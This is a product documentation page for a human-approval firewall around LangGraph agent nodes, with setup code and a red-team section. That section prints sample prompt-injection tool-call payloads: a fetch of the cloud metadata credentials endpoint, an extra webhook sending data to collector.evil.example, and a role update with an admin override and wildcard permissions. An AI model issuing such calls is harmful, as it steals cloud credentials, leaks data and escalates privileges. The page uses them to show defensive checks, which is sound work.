LetspingLetsPing
← Docs

Human in the Loop Firewall for LangGraph Agents

LangGraph production recipe · LetsPing Answer Hub

Problem: LangGraph nodes that can reach money and infrastructure

You have a LangGraph agent that can call tools which touch Stripe, a production database or infrastructure APIs. Product wants to turn it on for production. Security is worried about server side request forgery, data exfiltration and JSON payloads that grant more power than intended.

Failure modes when risky nodes are not behind a firewall

  • Server side request forgery through tools that fetch URLs or call internal HTTP endpoints.
  • Silent exfiltration through extra webhooks, blind copies or secondary destinations.
  • Privilege escalation in JSON, such as extra scopes, wild card permissions or admin override flags.
  • No single place to see which node executed what with which parameters and who approved it.

Where LetsPing sits in a LangGraph architecture

LangGraph gives you explicit graphs and stateful threads. LetsPing sits at the edges where a node touches money, infra or sensitive data. The LetsPing checkpointer persists state out of process and the firewall intercepts calls before the node executes.

Tool calls are parsed into structured payloads, checked against grammar and policy constraints, and evaluated with stricter rules when they are based on untrusted context sources. Only calls that pass those deterministic checks reach your own HTTP clients or SDKs.

The high level shape looks like this in words:

  • LangGraph controls the agent graph and thread lifecycle.
  • LetsPingCheckpointer persists encrypted state snapshots to remote storage.
  • Nodes that touch critical systems call LetsPing instead of calling tools directly.
  • LetsPing runs guardrails and Markov scoring, pauses risky requests and surfaces them in the console.
  • On approval or patching, your webhook resumes the graph with the updated state.

Step 1: wire in the LetsPingCheckpointer

The checkpointer makes your LangGraph threads resumable across workers and processes:

import { StateGraph } from "@langchain/langgraph";
import { LetsPing } from "@letsping/sdk";
import { LetsPingCheckpointer } from "@letsping/sdk/integrations/langgraph";

const lp = new LetsPing(process.env.LETSPING_API_KEY!);
const checkpointer = new LetsPingCheckpointer(lp);

const builder = new StateGraph<any>({});
const graph = builder.compile({ checkpointer });

From here on, checkpoints are persisted remotely via LetsPing (encrypted in Supabase Storage), not just in memory. That is what makes Cryo-Sleep and HITL safe to use in serverless and containerized environments.

Step 2: wrap risky nodes with HITL and firewall

For nodes that touch money, infra, or data, call LetsPing from inside the node. The behavioral firewall will observe transitions and guardrails, and the console will expose decisions to humans:

async function refundNode(state: any) {
  const decision = await lp.ask({
    service: "billing-agent",
    action: "refund_user",
    priority: "high",
    payload: {
      user_id: state.userId,
      amount: state.refundAmount,
    },
  });

  if (decision.status === "REJECTED") {
    return { ...state, refundStatus: "rejected_by_human" };
  }

  const data = decision.patched_payload ?? decision.payload;
  await stripe.refunds.create({ charge: data.user_id, amount: data.amount_cents });

  return { ...state, refundStatus: "approved_and_executed" };
}

Every time this node fires, LetsPing updates the Markov baseline for your agent, tracks guardrail hits, and stores an auditable decision.

Step 3: resume the graph from a webhook after approval

When a human approves or patches a request, LetsPing can call a webhook where you resume the graph using the same LetsPingCheckpointer:

import { NextRequest, NextResponse } from "next/server";
import { StateGraph } from "@langchain/langgraph";
import { LetsPing } from "@letsping/sdk";
import { LetsPingCheckpointer } from "@letsping/sdk/integrations/langgraph";

import { buildGraph } from "@/lib/langgraph"; // your graph builder

const lp = new LetsPing(process.env.LETSPING_API_KEY!);
const checkpointer = new LetsPingCheckpointer(lp);
const graph: StateGraph<any> = buildGraph({ checkpointer });

export async function POST(req: NextRequest) {
  const raw = await req.text();
  const sig = req.headers.get("x-letsping-signature") || "";

  const event = await (lp as any).webhookHandler(raw, sig, process.env.LETSPING_WEBHOOK_SECRET!);
  const { data, state_snapshot } = event;

  const threadId = state_snapshot?.thread_id as string | undefined;
  if (!threadId) {
    return NextResponse.json({ ok: false, error: "missing_thread_id" }, { status: 400 });
  }

  await graph.invoke(state_snapshot.input, {
    configurable: { thread_id: threadId },
  });

  return NextResponse.json({ ok: true });
}

This pattern gives you a clean separation: LangGraph controls the agent, LetsPing controls when risky nodes are allowed to fire.

Red team scenarios that this setup catches

1. Cloud metadata server side request forgery

A prompt injection steers the agent to fetch a cloud metadata endpoint instead of a customer URL:

{
  "service": "infra-agent",
  "action": "http_request",
  "payload": {
    "method": "GET",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "reason": "Download training data"
  }
}

A default pattern guardrail on URL fields flags this and pauses the request. In the triage view you see the blocked payload and the guardrail name rather than a vague trust statement.

2. Silent exfiltration via an extra webhook target

{
  "service": "crm-agent",
  "action": "send_lead_report",
  "payload": {
    "to": "sales-team@yourco.com",
    "webhook_urls": [
      "https://internal-api.yourco.com/report-hook",
      "https://collector.evil.example/report"
    ]
  }
}

PII and pattern guardrails block the unknown destination. Operators can patch the list down to a single trusted endpoint and approve the request, which updates the Markov baseline.

3. Privilege escalation inside a LangGraph node

{
  "service": "it-helpdesk",
  "action": "update_user_role",
  "payload": {
    "user_id": "user_123",
    "new_role": "marketing",
    "admin_override": true,
    "permissions": ["*:*"]
  }
}

Guardrails that ban wild card permissions and admin flags combined with Markov anomaly detection flag this as abnormal behavior for the node. The run is paused before any privileged call occurs.

How the behavioral firewall fits into LangGraph

As your graph runs, LetsPing's Markov engine builds a baseline of which nodes usually follow which. Transitions are scored by edge anomaly score. When a score exceeds a learned threshold, guardrails can pause the run and surface the event in the console. The sequence_entropy guardrail supports min_markov_anomaly_score when Markov metrics are provided. Your approval or rejection feeds back into the baseline so future behavior is scored correctly.

Next steps

• Read The 2026 Guide to Securing LangGraph in Production for deeper architectural context.

• Explore the behavioral firewall and HITL console marketing pages.

• If you coordinate multiple agents or vendors, consider agent-to-agent escrow for chain-of-custody across the whole workflow.